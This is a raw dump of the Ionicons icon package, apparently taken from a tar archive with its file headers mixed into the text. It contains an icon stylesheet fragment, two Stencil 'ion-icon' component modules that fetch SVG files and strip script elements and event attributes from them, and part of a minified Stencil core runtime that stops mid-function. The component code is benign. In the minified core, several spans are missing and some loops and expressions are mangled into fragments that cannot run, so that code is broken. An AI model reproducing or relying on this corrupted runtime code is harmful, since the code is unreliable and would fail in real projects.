before{content:"\f393"}.ion-md-time:before{content:"\f394"}.ion-md-timer:before{content:"\f395"}.ion-md-today:before{content:"\f17d"}.ion-md-train:before{content:"\f396"}.ion-md-transgender:before{content:"\f397"}.ion-md-trash:before{content:"\f398"}.ion-md-trending-down:before{content:"\f399"}.ion-md-trending-up:before{content:"\f39a"}.ion-md-trophy:before{content:"\f39b"}.ion-md-tv:before{content:"\f17f"}.ion-md-umbrella:before{content:"\f39c"}.ion-md-undo:before{content:"\f39d"}.ion-md-unlock:before{content:"\f39e"}.ion-md-videocam:before{content:"\f39f"}.ion-md-volume-high:before{content:"\f123"}.ion-md-volume-low:before{content:"\f131"}.ion-md-volume-mute:before{content:"\f3a1"}.ion-md-volume-off:before{content:"\f3a2"}.ion-md-walk:before{content:"\f3a4"}.ion-md-wallet:before{content:"\f18f"}.ion-md-warning:before{content:"\f3a5"}.ion-md-watch:before{content:"\f3a6"}.ion-md-water:before{content:"\f3a7"}.ion-md-wifi:before{content:"\f3a8"}.ion-md-wine:before{content:"\f3a9"}.ion-md-woman:before{content:"\f3aa"} esm/es2017/build/esckjbl8.sc.entry.js000064400000020402151701353760013165 0ustar00/*! Built with http://stenciljs.com */ import { h } from '../ionicons.core.js'; function getName(name, mode, ios, md) { mode = (mode || 'md').toLowerCase(); if (ios && mode === 'ios') { name = ios.toLowerCase(); } else if (md && mode === 'md') { name = md.toLowerCase(); } else if (name) { name = name.toLowerCase(); if (!/^md-|^ios-|^logo-/.test(name)) { name = `${mode}-${name}`; } } if (typeof name !== 'string' || name.trim() === '') { return null; } const invalidChars = name.replace(/[a-z]|-|\d/gi, ''); if (invalidChars !== '') { return null; } return name; } function getSrc(src) { if (typeof src === 'string') { src = src.trim(); if (src.length > 0 && /(\/|\.)/.test(src)) { return src; } } return null; } function isValid(elm) { if (elm.nodeType === 1) { if (elm.nodeName.toLowerCase() === 'script') { return false; } for (let i = 0; i < elm.attributes.length; i++) { const val = elm.attributes[i].value; if (typeof val === 'string' && val.toLowerCase().indexOf('on') === 0) { return false; } } for (let i = 0; i < elm.childNodes.length; i++) { if (!isValid(elm.childNodes[i])) { return false; } } } return true; } class Icon { constructor() { this.isVisible = false; this.lazy = false; } componentWillLoad() { this.waitUntilVisible(this.el, '50px', () => { this.isVisible = true; this.loadIcon(); }); } componentDidUnload() { if (this.io) { this.io.disconnect(); this.io = undefined; } } waitUntilVisible(el, rootMargin, cb) { if (this.lazy && this.win && this.win.IntersectionObserver) { const io = this.io = new this.win.IntersectionObserver((data) => { if (data[0].isIntersecting) { io.disconnect(); this.io = undefined; cb(); } }, { rootMargin }); io.observe(el); } else { cb(); } } loadIcon() { if (!this.isServer && this.isVisible) { const url = this.getUrl(); if (url) { getSvgContent(this.doc, url, 's-ion-icon') .then(svgContent => this.svgContent = svgContent); } } if (!this.ariaLabel) { const name = getName(this.name, this.mode, this.ios, this.md); if (name) { this.ariaLabel = name .replace('ios-', '') .replace('md-', '') .replace(/\-/g, ' '); } } } getUrl() { let url = getSrc(this.src); if (url) { return url; } url = getName(this.name, this.mode, this.ios, this.md); if (url) { return this.getNamedUrl(url); } url = getSrc(this.icon); if (url) { return url; } url = getName(this.icon, this.mode, this.ios, this.md); if (url) { return this.getNamedUrl(url); } return null; } getNamedUrl(name) { return `${this.resourcesUrl}svg/${name}.svg`; } hostData() { return { 'role': 'img', class: Object.assign({}, createColorClasses(this.color), { [`icon-${this.size}`]: !!this.size }) }; } render() { if (!this.isServer && this.svgContent) { return h("div", { class: "icon-inner", innerHTML: this.svgContent }); } return h("div", { class: "icon-inner" }); } static get is() { return "ion-icon"; } static get encapsulation() { return "shadow"; } static get properties() { return { "ariaLabel": { "type": String, "attr": "aria-label", "reflectToAttr": true, "mutable": true }, "color": { "type": String, "attr": "color" }, "doc": { "context": "document" }, "el": { "elementRef": true }, "icon": { "type": String, "attr": "icon", "watchCallbacks": ["loadIcon"] }, "ios": { "type": String, "attr": "ios" }, "isServer": { "context": "isServer" }, "isVisible": { "state": true }, "lazy": { "type": Boolean, "attr": "lazy" }, "md": { "type": String, "attr": "md" }, "mode": { "type": String, "attr": "mode" }, "name": { "type": String, "attr": "name", "watchCallbacks": ["loadIcon"] }, "resourcesUrl": { "context": "resourcesUrl" }, "size": { "type": String, "attr": "size" }, "src": { "type": String, "attr": "src", "watchCallbacks": ["loadIcon"] }, "svgContent": { "state": true }, "win": { "context": "window" } }; } static get style() { return ".sc-ion-icon-h{display:inline-block;width:1em;height:1em;contain:strict;-webkit-box-sizing:content-box!important;box-sizing:content-box!important}.ion-color.sc-ion-icon-h{color:var(--ion-color-base)!important}.icon-small.sc-ion-icon-h{font-size:var(--ion-icon-size-small,18px)!important}.icon-large.sc-ion-icon-h{font-size:var(--ion-icon-size-large,32px)!important}.icon-inner.sc-ion-icon, svg.sc-ion-icon{display:block;fill:currentColor;stroke:currentColor;height:100%;width:100%}.ion-color-primary.sc-ion-icon-h{--ion-color-base:var(--ion-color-primary, #3880ff)}.ion-color-secondary.sc-ion-icon-h{--ion-color-base:var(--ion-color-secondary, #0cd1e8)}.ion-color-tertiary.sc-ion-icon-h{--ion-color-base:var(--ion-color-tertiary, #f4a942)}.ion-color-success.sc-ion-icon-h{--ion-color-base:var(--ion-color-success, #10dc60)}.ion-color-warning.sc-ion-icon-h{--ion-color-base:var(--ion-color-warning, #ffce00)}.ion-color-danger.sc-ion-icon-h{--ion-color-base:var(--ion-color-danger, #f14141)}.ion-color-light.sc-ion-icon-h{--ion-color-base:var(--ion-color-light, #f4f5f8)}.ion-color-medium.sc-ion-icon-h{--ion-color-base:var(--ion-color-medium, #989aa2)}.ion-color-dark.sc-ion-icon-h{--ion-color-base:var(--ion-color-dark, #222428)}"; } } const requests = new Map(); function getSvgContent(doc, url, scopedId) { let req = requests.get(url); if (!req) { req = fetch(url, { cache: 'force-cache' }).then(rsp => { if (rsp.ok) { return rsp.text(); } return Promise.resolve(null); }).then(svgContent => validateContent(doc, svgContent, scopedId)); requests.set(url, req); } return req; } function validateContent(document, svgContent, scopeId) { if (svgContent) { const frag = document.createDocumentFragment(); const div = document.createElement('div'); div.innerHTML = svgContent; frag.appendChild(div); for (let i = div.childNodes.length - 1; i >= 0; i--) { if (div.childNodes[i].nodeName.toLowerCase() !== 'svg') { div.removeChild(div.childNodes[i]); } } const svgElm = div.firstElementChild; if (svgElm && svgElm.nodeName.toLowerCase() === 'svg') { if (scopeId) { svgElm.setAttribute('class', scopeId); } if (isValid(svgElm)) { return div.innerHTML; } } } return ''; } function createColorClasses(color) { return (color) ? { 'ion-color': true, [`ion-color-${color}`]: true } : null; } export { Icon as IonIcon }; esm/es2017/build/esckjbl8.entry.js000064400000020214151701353760012562 0ustar00/*! Built with http://stenciljs.com */ import { h } from '../ionicons.core.js'; function getName(name, mode, ios, md) { mode = (mode || 'md').toLowerCase(); if (ios && mode === 'ios') { name = ios.toLowerCase(); } else if (md && mode === 'md') { name = md.toLowerCase(); } else if (name) { name = name.toLowerCase(); if (!/^md-|^ios-|^logo-/.test(name)) { name = `${mode}-${name}`; } } if (typeof name !== 'string' || name.trim() === '') { return null; } const invalidChars = name.replace(/[a-z]|-|\d/gi, ''); if (invalidChars !== '') { return null; } return name; } function getSrc(src) { if (typeof src === 'string') { src = src.trim(); if (src.length > 0 && /(\/|\.)/.test(src)) { return src; } } return null; } function isValid(elm) { if (elm.nodeType === 1) { if (elm.nodeName.toLowerCase() === 'script') { return false; } for (let i = 0; i < elm.attributes.length; i++) { const val = elm.attributes[i].value; if (typeof val === 'string' && val.toLowerCase().indexOf('on') === 0) { return false; } } for (let i = 0; i < elm.childNodes.length; i++) { if (!isValid(elm.childNodes[i])) { return false; } } } return true; } class Icon { constructor() { this.isVisible = false; this.lazy = false; } componentWillLoad() { this.waitUntilVisible(this.el, '50px', () => { this.isVisible = true; this.loadIcon(); }); } componentDidUnload() { if (this.io) { this.io.disconnect(); this.io = undefined; } } waitUntilVisible(el, rootMargin, cb) { if (this.lazy && this.win && this.win.IntersectionObserver) { const io = this.io = new this.win.IntersectionObserver((data) => { if (data[0].isIntersecting) { io.disconnect(); this.io = undefined; cb(); } }, { rootMargin }); io.observe(el); } else { cb(); } } loadIcon() { if (!this.isServer && this.isVisible) { const url = this.getUrl(); if (url) { getSvgContent(this.doc, url, 's-ion-icon') .then(svgContent => this.svgContent = svgContent); } } if (!this.ariaLabel) { const name = getName(this.name, this.mode, this.ios, this.md); if (name) { this.ariaLabel = name .replace('ios-', '') .replace('md-', '') .replace(/\-/g, ' '); } } } getUrl() { let url = getSrc(this.src); if (url) { return url; } url = getName(this.name, this.mode, this.ios, this.md); if (url) { return this.getNamedUrl(url); } url = getSrc(this.icon); if (url) { return url; } url = getName(this.icon, this.mode, this.ios, this.md); if (url) { return this.getNamedUrl(url); } return null; } getNamedUrl(name) { return `${this.resourcesUrl}svg/${name}.svg`; } hostData() { return { 'role': 'img', class: Object.assign({}, createColorClasses(this.color), { [`icon-${this.size}`]: !!this.size }) }; } render() { if (!this.isServer && this.svgContent) { return h("div", { class: "icon-inner", innerHTML: this.svgContent }); } return h("div", { class: "icon-inner" }); } static get is() { return "ion-icon"; } static get encapsulation() { return "shadow"; } static get properties() { return { "ariaLabel": { "type": String, "attr": "aria-label", "reflectToAttr": true, "mutable": true }, "color": { "type": String, "attr": "color" }, "doc": { "context": "document" }, "el": { "elementRef": true }, "icon": { "type": String, "attr": "icon", "watchCallbacks": ["loadIcon"] }, "ios": { "type": String, "attr": "ios" }, "isServer": { "context": "isServer" }, "isVisible": { "state": true }, "lazy": { "type": Boolean, "attr": "lazy" }, "md": { "type": String, "attr": "md" }, "mode": { "type": String, "attr": "mode" }, "name": { "type": String, "attr": "name", "watchCallbacks": ["loadIcon"] }, "resourcesUrl": { "context": "resourcesUrl" }, "size": { "type": String, "attr": "size" }, "src": { "type": String, "attr": "src", "watchCallbacks": ["loadIcon"] }, "svgContent": { "state": true }, "win": { "context": "window" } }; } static get style() { return ":host{display:inline-block;width:1em;height:1em;contain:strict;-webkit-box-sizing:content-box!important;box-sizing:content-box!important}:host(.ion-color){color:var(--ion-color-base)!important}:host(.icon-small){font-size:var(--ion-icon-size-small,18px)!important}:host(.icon-large){font-size:var(--ion-icon-size-large,32px)!important}.icon-inner,svg{display:block;fill:currentColor;stroke:currentColor;height:100%;width:100%}:host(.ion-color-primary){--ion-color-base:var(--ion-color-primary, #3880ff)}:host(.ion-color-secondary){--ion-color-base:var(--ion-color-secondary, #0cd1e8)}:host(.ion-color-tertiary){--ion-color-base:var(--ion-color-tertiary, #f4a942)}:host(.ion-color-success){--ion-color-base:var(--ion-color-success, #10dc60)}:host(.ion-color-warning){--ion-color-base:var(--ion-color-warning, #ffce00)}:host(.ion-color-danger){--ion-color-base:var(--ion-color-danger, #f14141)}:host(.ion-color-light){--ion-color-base:var(--ion-color-light, #f4f5f8)}:host(.ion-color-medium){--ion-color-base:var(--ion-color-medium, #989aa2)}:host(.ion-color-dark){--ion-color-base:var(--ion-color-dark, #222428)}"; } } const requests = new Map(); function getSvgContent(doc, url, scopedId) { let req = requests.get(url); if (!req) { req = fetch(url, { cache: 'force-cache' }).then(rsp => { if (rsp.ok) { return rsp.text(); } return Promise.resolve(null); }).then(svgContent => validateContent(doc, svgContent, scopedId)); requests.set(url, req); } return req; } function validateContent(document, svgContent, scopeId) { if (svgContent) { const frag = document.createDocumentFragment(); const div = document.createElement('div'); div.innerHTML = svgContent; frag.appendChild(div); for (let i = div.childNodes.length - 1; i >= 0; i--) { if (div.childNodes[i].nodeName.toLowerCase() !== 'svg') { div.removeChild(div.childNodes[i]); } } const svgElm = div.firstElementChild; if (svgElm && svgElm.nodeName.toLowerCase() === 'svg') { if (scopeId) { svgElm.setAttribute('class', scopeId); } if (isValid(svgElm)) { return div.innerHTML; } } } return ''; } function createColorClasses(color) { return (color) ? { 'ion-color': true, [`ion-color-${color}`]: true } : null; } export { Icon as IonIcon }; esm/es2017/index.js000064400000000026151701353760007724 0ustar00// ionicons: ES Moduleesm/es2017/ionicons.core.js000064400000064426151701353760011403 0ustar00/*! * ionicons: Core, es2017 * Built with http://stenciljs.com */ function n(n,t){return"sc-"+n.n+(t&&t!==O?"-"+t:"")}function t(n,t){return n+(t?"-h":"-s")}function e(t,e,r,i){var o=r.n+i.mode,u=r[o];if((2===r.t||1===r.t&&!t.r.e)&&(i["s-sc"]=u?n(r,i.mode):n(r)),u||(u=r[o=r.n+O]),u){var f=e.i.head;if(e.e)if(1===r.t)f=i.shadowRoot;else for(var c=i;c=e.o(c);)if(c.host&&c.host.shadowRoot){f=c.host.shadowRoot;break}var a=t.u.get(f);if(a||t.u.set(f,a={}),!a[o]){var s=void 0;if((s=e.f("style")).innerHTML=u,a[o]=!0,s){var l=f.querySelectorAll("[data-styles]");e.c(f,s,l.length&&l[l.length-1].nextSibling||f.firstChild)}}}}function r(n,t,e,r){void 0===r&&(r="boolean"==typeof e);var i=t!==(t=t.replace(/^xlink\:?/,""));null==e||r&&(!e||"false"===e)?i?n.removeAttributeNS(N,_(t)):n.removeAttribute(t):"function"!=typeof e&&(e=r?"":e.toString(),i?n.setAttributeNS(N,_(t),e):n.setAttribute(t,e))}function i(n,t,e,i,f,c,a){if("class"!==e||c)if("style"===e){for(var s in i)f&&null!=f[s]||(/-/.test(s)?t.style.a(s):t.style[s]="");for(var s in f)i&&f[s]===i[s]||(/-/.test(s)?t.style.setProperty(s,f[s]):t.style[s]=f[s])}else if("o"!==e[0]||"n"!==e[1]||!/[A-Z]/.test(e[2])||e in t)if("list"!==e&&"type"!==e&&!c&&(e in t||-1!==["object","function"].indexOf(typeof f)&&null!==f)){var l=n.s(t);l&&l.l&&l.l[e]?(u(t,e,f),a&&l.l[e].v&&r(t,l.l[e].p,f,4===l.l[e].d)):"ref"!==e&&(u(t,e,null==f?"":f),null!=f&&!1!==f||n.r.y(t,e))}else null!=f&&"key"!==e?r(t,e,f):(c||n.r.m(t,e)&&(null==f||!1===f))&&n.r.y(t,e);else e=_(e)in t?_(e.substring(2)):_(e[2])+e.substring(3),f?f!==i&&n.r.b(t,e,f):n.r.w(t,e);else if(i!==f){var v=o(i),p=o(f),d=v.filter(function(n){return!p.includes(n)}),h=o(t.className).filter(function(n){return!d.includes(n)}),y=p.filter(function(n){return!v.includes(n)&&!h.includes(n)});h.push.apply(h,y),t.className=h.join(" ")}}function o(n){return null==n||""===n?[]:n.trim().split(/\s+/)}function u(n,t,e){try{n[t]=e}catch(n){}}function f(n,t,e,r,o){var u=11===e.g.nodeType&&e.g.host?e.g.host:e.g,f=t&&t.vattrs||S,c=e.vattrs||S;for(o in f)c&&null!=c[o]||null==f[o]||i(n,u,o,f[o],void 0,r,e.M);for(o in c)o in f&&c[o]===("value"===o||"checked"===o?u[o]:f[o])||i(n,u,o,f[o],c[o],r,e.M)}function c(n,t){function e(i,o,u,c,a,v,m,b,w){if(b=o.vchildren[u],s||(p=!0,"slot"===b.vtag&&(l&&t.j(c,l+"-s"),b.vchildren?b.k=!0:b.A=!0)),P(b.vtext))b.g=t.C(b.vtext);else if(b.A)b.g=t.C("");else{if(v=b.g=R||"svg"===b.vtag?t.O("http://www.w3.org/2000/svg",b.vtag):t.f(b.k?"slot-fb":b.vtag),n.S(v)&&n.x.delete(y),R="svg"===b.vtag||"foreignObject"!==b.vtag&&R,f(n,null,b,R),P(l)&&v["s-si"]!==l&&t.j(v,v["s-si"]=l),b.vchildren)for(a=0;a=0;o--)(u=f[o])["s-hn"]!==h&&u["s-ol"]&&(t.W(u),t.c(a(u),u,c(u)),t.W(u["s-ol"]),u["s-ol"]=null,p=!0),i&&r(u,i);n._=!1}function i(n,r,i,o,u,f,a,s){var l=n["s-cr"];for((a=l&&t.o(l)||n).shadowRoot&&t.N(a)===h&&(a=a.shadowRoot);u<=f;++u)o[u]&&(s=P(o[u].vtext)?t.C(o[u].vtext):e(null,i,u,n))&&(o[u].g=s,t.c(a,s,c(r)))}function o(n,e,i,o){for(;e<=i;++e)P(n[e])&&(o=n[e].g,v=!0,o["s-ol"]?t.W(o["s-ol"]):r(o,!0),t.W(o))}function u(n,t){return n.vtag===t.vtag&&n.vkey===t.vkey&&("slot"!==n.vtag||n.vname===t.vname)}function c(n){return n&&n["s-ol"]?n["s-ol"]:n}function a(n){return t.o(n["s-ol"]?n["s-ol"]:n)}var s,l,v,p,d,h,y,m=[];return function b(w,g,M,j,k,$,A,E,C,O,S,x){if(y=w,h=t.N(y),d=y["s-cr"],s=j,l=y["s-sc"],p=v=!1,function s(l,v,p){var d=v.g=l.g,h=l.vchildren,y=v.vchildren;R=v.g&&P(t.R(v.g))&&void 0!==v.g.ownerSVGElement,R="svg"===v.vtag||"foreignObject"!==v.vtag&&R,P(v.vtext)?(p=d["s-cr"])?t.L(t.o(p),v.vtext):l.vtext!==v.vtext&&t.L(d,v.vtext):("slot"!==v.vtag&&f(n,l,v,R),P(h)&&P(y)?function m(n,f,l,v,p,d,h,y){for(var m=0,b=0,w=f.length-1,g=f[0],M=f[w],j=v.length-1,k=v[0],$=v[j];m<=w&&b<=j;)if(null==g)g=f[++m];else if(null==M)M=f[--w];else if(null==k)k=v[++b];else if(null==$)$=v[--j];else if(u(g,k))s(g,k),g=f[++m],k=v[++b];else if(u(M,$))s(M,$),M=f[--w],$=v[--j];else if(u(g,$))"slot"!==g.vtag&&"slot"!==$.vtag||r(t.o(g.g)),s(g,$),t.c(n,g.g,t.D(M.g)),g=f[++m],$=v[--j];else if(u(M,k))"slot"!==g.vtag&&"slot"!==$.vtag||r(t.o(M.g)),s(M,k),t.c(n,M.g,g.g),M=f[--w],k=v[++b];else{for(p=null,d=m;d<=w;++d)if(f[d]&&P(f[d].vkey)&&f[d].vkey===k.vkey){p=d;break}P(p)?((y=f[p]).vtag!==k.vtag?h=e(f&&f[b],l,p,n):(s(y,k),f[p]=void 0,h=y.g),k=v[++b]):(h=e(f&&f[b],l,b,n),k=v[++b]),h&&t.c(a(g.g),h,c(g.g))}m>w?i(n,null==v[j+1]?null:v[j+1].g,l,v,b,j):b>j&&o(f,m,w)}(d,h,v,y):P(y)?(P(l.vtext)&&t.L(d,""),i(d,null,v,y,0,y.length-1)):P(h)&&o(h,0,h.length-1)),R&&"svg"===v.vtag&&(R=!1)}(g,M),p){for(function n(e,r,i,o,u,f,c,a,s,l){for(u=0,f=(r=t.T(e)).length;u=0;c--)(o=a[c])["s-cn"]||o["s-nr"]||o["s-hn"]===i["s-hn"]||((3===(l=t.F(o))||8===l)&&""===s||1===l&&null===t.H(o,"slot")&&""===s||1===l&&t.H(o,"slot")===s)&&(m.some(function(n){return n.q===o})||(v=!0,o["s-sn"]=s,m.push({U:i,q:o})));1===t.F(i)&&n(i)}}(M.g),A=0;A2;)L.push(arguments[f]);for(;L.length>0;){var c=L.pop();if(c&&void 0!==c.pop)for(f=c.length;f--;)L.push(c[f]);else"boolean"==typeof c&&(c=null),(u="function"!=typeof n)&&(null==c?c="":"number"==typeof c?c=String(c):"string"!=typeof c&&(u=!1)),u&&o?i[i.length-1].vtext+=c:null===i?i=[u?{vtext:c}:c]:i.push(u?{vtext:c}:c),o=u}if(null!=t){if(t.className&&(t.class=t.className),"object"==typeof t.class){for(f in t.class)t.class[f]&&L.push(f);t.class=L.join(" "),L.length=0}null!=t.key&&(e=t.key),null!=t.name&&(r=t.name)}return"function"==typeof n?n(t,i||[],D):{vtag:n,vchildren:i,vtext:void 0,vattrs:t,vkey:e,vname:r,g:void 0,M:!1}}function l(n){return{vtag:n.vtag,vchildren:n.vchildren,vtext:n.vtext,vattrs:n.vattrs,vkey:n.vkey,vname:n.vname}}function v(n){return{G:n[0],Q:n[1],Y:!!n[2],Z:!!n[3],z:!!n[4]}}function p(n,t){if(P(t)&&"object"!=typeof t&&"function"!=typeof t){if(n===Boolean||4===n)return"false"!==t&&(""===t||!!t);if(n===Number||8===n)return parseFloat(t);if(n===String||2===n)return t.toString()}return t}function d(n,t){n.J.add(t),n.K.has(t)||(n.K.set(t,!0),n.V?n.queue.write(function(){return h(n,t)}):n.queue.tick(function(){return h(n,t)}))}function h(n,e,r,i,o){return $(this,void 0,void 0,function(){var r,u;return A(this,function(f){switch(f.X){case 0:if(n.K.delete(e),n.nn.has(e))return[3,12];if(i=n.tn.get(e))return[3,6];if((o=n.en.get(e))&&!o["s-rn"])return(o["s-rc"]=o["s-rc"]||[]).push(function(){h(n,e)}),[2];if(!(i=function c(n,t,e,r,i,o,u){try{r=new(i=n.s(t).rn),function f(n,t,e,r,i){n.in.set(r,e),n.on.has(e)||n.on.set(e,{}),Object.entries(Object.assign({color:{type:String}},t.properties,{mode:{type:String}})).forEach(function(t){var o=t[0],u=t[1];(function f(n,t,e,r,i,o,u,c){if(t.type||t.state){var a=n.on.get(e);t.state||(!t.attr||void 0!==a[i]&&""!==a[i]||(u=o&&o.un)&&P(c=u[t.attr])&&(a[i]=p(t.type,c)),e.hasOwnProperty(i)&&(void 0===a[i]&&(a[i]=p(t.type,e[i])),"mode"!==i&&delete e[i])),r.hasOwnProperty(i)&&void 0===a[i]&&(a[i]=r[i]),t.watchCallbacks&&(a[F+i]=t.watchCallbacks.slice()),b(r,i,function s(t){return(t=n.on.get(n.in.get(this)))&&t[i]},function l(e,r){(r=n.in.get(this))&&(t.state||t.mutable)&&y(n,r,i,e)})}else if(t.elementRef)m(r,i,e);else if(t.context){var v=n.fn(t.context);void 0!==v&&m(r,i,v.cn&&v.cn(e)||v)}})(n,u,e,r,o,i)})}(n,i,t,r,e)}catch(e){r={},n.an(e,7,t,!0)}return n.tn.set(t,r),r}(n,e,n.sn.get(e))))return[3,5];f.X=1;case 1:return f.ln.push([1,4,,5]),i.componentWillLoad?[4,i.componentWillLoad()]:[3,3];case 2:f.vn(),f.X=3;case 3:return[3,5];case 4:return r=f.vn(),n.an(r,3,e),[3,5];case 5:return[3,11];case 6:if(!i)return[3,11];f.X=7;case 7:return f.ln.push([7,10,,11]),i.componentWillUpdate?[4,i.componentWillUpdate()]:[3,9];case 8:f.vn(),f.X=9;case 9:return[3,11];case 10:return u=f.vn(),n.an(u,5,e),[3,11];case 11:(function a(n,e,r,i){try{var o,u=e.rn.host,f=e.rn.encapsulation,c="shadow"===f&&n.r.e,a=r;if(o=function l(n,t,e){return n&&Object.keys(n).forEach(function(r){n[r].reflectToAttr&&((e=e||{})[r]=t[r])}),e}(e.rn.properties,i),c&&(a=r.shadowRoot),!r["s-rn"]){n.pn(n,n.r,e,r);var v=r["s-sc"];v&&(n.r.j(r,t(v,!0)),"scoped"===f&&n.r.j(r,t(v)))}if(i.render||i.hostData||u||o){n.dn=!0;var p=i.render&&i.render(),d=void 0;d=i.hostData&&i.hostData(),o&&(d=d?Object.assign(d,o):o),n.dn=!1;var h=n.hn.get(r)||{};h.g=a;var y=s(null,d,p);y.M=!0,n.hn.set(r,n.render(r,h,y,c,f))}r["s-rn"]=!0,r["s-rc"]&&(r["s-rc"].forEach(function(n){return n()}),r["s-rc"]=null)}catch(t){n.dn=!1,n.an(t,8,r,!0)}})(n,n.s(e),e,i),e["s-init"](),f.X=12;case 12:return[2]}})})}function y(n,t,e,r,i){var o=n.on.get(t);o||n.on.set(t,o={});var u=o[e];if(r!==u&&(o[e]=r,i=n.tn.get(t))){var f=o[F+e];if(f)for(var c=0;c-1&&r.splice(e,1),r.length||i["s-init"]&&i["s-init"]()),n.en.delete(t)),n.yn.length&&!n.J.size)for(;o=n.yn.shift();)o()}function g(n,t,e,r){if(e.connectedCallback=function(){(function e(n,t,r){n.nn.delete(r),n.mn.has(r)||(n.J.add(r),n.mn.set(r,!0),r["s-id"]||(r["s-id"]=n.bn()),function i(n,t,e){for(e=t;e=n.r.R(e);)if(n.S(e)){n.x.has(t)||(n.en.set(t,e),(e["s-ld"]=e["s-ld"]||[]).push(t));break}}(n,r),n.queue.tick(function(){n.sn.set(r,function e(n,t,r,i,o){return r.mode||(r.mode=n.wn(r)),r["s-cr"]||n.H(r,C)||n.e&&1===t.t||(r["s-cr"]=n.C(""),r["s-cr"]["s-cn"]=!0,n.c(r,r["s-cr"],n.T(r)[0])),n.e||1!==t.t||(r.shadowRoot=r),1===t.t&&n.e&&!r.shadowRoot&&n.gn(r,{mode:"open"}),i={Mn:r["s-id"],un:{}},t.l&&Object.keys(t.l).forEach(function(e){(o=t.l[e].p)&&(i.un[o]=n.H(r,o))}),i}(n.r,t,r)),n.jn(t,r)}))})(n,t,this)},e.disconnectedCallback=function(){(function t(n,e){if(!n._&&function r(n,t){for(;t;){if(!n.o(t))return 9!==n.F(t);t=n.o(t)}}(n.r,e)){n.nn.set(e,!0),w(n,e),a(n.hn.get(e),!0),n.r.w(e),n.kn.delete(e);var i=n.tn.get(e);i&&i.componentDidUnload&&i.componentDidUnload(),[n.en,n.$n,n.sn].forEach(function(n){return n.delete(e)})}})(n,this)},e["s-init"]=function(){(function t(n,e,r,i,o,u){if(n.tn.get(e)&&!n.nn.has(e)&&(!e["s-ld"]||!e["s-ld"].length)){n.x.set(e,!0),n.An.has(e)||(n.An.set(e,!0),e["s-ld"]=void 0,n.r.j(e,r));try{a(n.hn.get(e)),(o=n.$n.get(e))&&(o.forEach(function(n){return n(e)}),n.$n.delete(e))}catch(t){n.an(t,4,e)}w(n,e)}})(n,this,r)},e.forceUpdate=function(){d(n,this)},t.l){var i=Object.entries(t.l),o={};i.forEach(function(n){var t=n[0],e=n[1].p;e&&(o[e]=t)}),o=Object.assign({},o),e.attributeChangedCallback=function(n,t,e){(function r(n,t,e,i){var o=n[_(e)];o&&(t[o]=i)})(o,this,n,e)},function u(n,t,e){t.forEach(function(t){var r=t[0],i=t[1],o=i.En;3&o?b(e,r,function t(){return(n.on.get(this)||{})[r]},function t(e){y(n,this,r,p(i.d,e))}):32===o&&m(e,r,W)})}(n,i,e)}}function M(n,t,e,r){return function(){var i=arguments;return function o(n,t,e){var r=t[e],i=n.i.body;return i?(r||(r=i.querySelector(e)),r||(r=t[e]=n.f(e),n.P(i,r)),r.componentOnReady()):Promise.resolve()}(n,t,e).then(function(n){return n[r].apply(n,i)})}}function j(n,t,r,i,o,u){var f={html:{}},a={},l=r[n]=r[n]||{},v=function p(n,t,e){n.ael||(n.ael=function(n,t,e,r){return n.addEventListener(t,e,r)},n.rel=function(n,t,e,r){return n.removeEventListener(t,e,r)});var r=new WeakMap;"function"!=typeof t.CustomEvent&&(t.CustomEvent=function(n,t,r){return(r=e.createEvent("CustomEvent")).initCustomEvent(n,t.bubbles,t.cancelable,t.detail),r},t.CustomEvent.prototype=t.Event.prototype);var i={i:e,e:!!e.documentElement.attachShadow,Cn:!1,F:function(n){return n.nodeType},f:function(n){return e.createElement(n)},O:function(n,t){return e.createElementNS(n,t)},C:function(n){return e.createTextNode(n)},On:function(n){return e.createComment(n)},c:function(n,t,e){return n.insertBefore(t,e)},W:function(n){return n.remove()},P:function(n,t){return n.appendChild(t)},j:function(n,t){if(n.classList)n.classList.add(t);else if("svg"===n.nodeName.toLowerCase()){var e=n.getAttribute("class")||"";e.split(" ").includes(t)||(e+=" "+t),n.setAttribute("class",e.trim())}},T:function(n){return n.childNodes},o:function(n){return n.parentNode},D:function(n){return n.nextSibling},B:function(n){return n.previousSibling},N:function(n){return _(n.nodeName)},I:function(n){return n.textContent},L:function(n,t){return n.textContent=t},H:function(n,t){return n.getAttribute(t)},Sn:function(n,t,e){return n.setAttribute(t,e)},xn:function(n,t,e,r){return n.setAttributeNS(t,e,r)},y:function(n,t){return n.removeAttribute(t)},m:function(n,t){return n.hasAttribute(t)},wn:function(t){return t.getAttribute("mode")||(n.Context||{}).mode},Pn:function(n,r){return"child"===r?n.firstElementChild:"parent"===r?i.R(n):"body"===r?e.body:"document"===r?e:"window"===r?t:n},b:function(t,e,o,u,f,c,a,s){var l=e,v=t,p=r.get(t);if(p&&p[l]&&p[l](),"string"==typeof c?v=i.Pn(t,c):"object"==typeof c?v=c:(s=e.split(":")).length>1&&(v=i.Pn(t,s[0]),e=s[1]),v){var d=o;(s=e.split(".")).length>1&&(e=s[0],d=function(n){n.keyCode===x[s[1]]&&o(n)}),a=i.Cn?{capture:!!u,passive:!!f}:!!u,n.ael(v,e,d,a),p||r.set(t,p={}),p[l]=function(){v&&n.rel(v,e,d,a),p[l]=null}}},w:function(n,t){var e=r.get(n);e&&(t?e[t]&&e[t]():Object.keys(e).forEach(function(n){e[n]&&e[n]()}))},_n:function(n,e,r){return n&&n.dispatchEvent(new t.CustomEvent(e,r))},R:function(n,t){return(t=i.o(n))&&11===i.F(t)?t.host:t},gn:function(n,t){return n.attachShadow(t)}};return i}(l,r,i);t.isServer=t.isPrerender=!(t.isClient=!0),t.window=r,t.location=r.location,t.document=i,t.resourcesUrl=t.publicPath=o,l.h=s,l.Context=t;var h=r["s-defined"]=r["s-defined"]||{},y=0,m={r:v,Tn:function b(n,t){var e=n.n;r.customElements.get(e)||(g(m,f[e]=n,t.prototype,u),t.observedAttributes=Object.values(n.l).map(function(n){return n.p}).filter(function(n){return!!n}),r.customElements.define(n.n,t))},Wn:t.emit,s:function(n){return f[v.N(n)]},fn:function(n){return t[n]},isClient:!0,S:function(n){return!(!h[v.N(n)]&&!m.s(n))},bn:function(){return n+y++},an:function(n,t,e){},Nn:function(n){return function t(n,e,r){return{create:M(n,e,r,"create"),componentOnReady:M(n,e,r,"componentOnReady")}}(v,a,n)},queue:t.queue=function w(n,t){function e(t){return function(e){t.push(e),p||(p=!0,n.raf(o))}}function r(n){for(var t=0;t0&&(l.push.apply(l,s),s.length=0),(p=a.length+s.length+l.length>0)?n.raf(o):v=0}var u=function(){return t.performance.now()},f=Promise.resolve(),c=[],a=[],s=[],l=[],v=0,p=!1;return 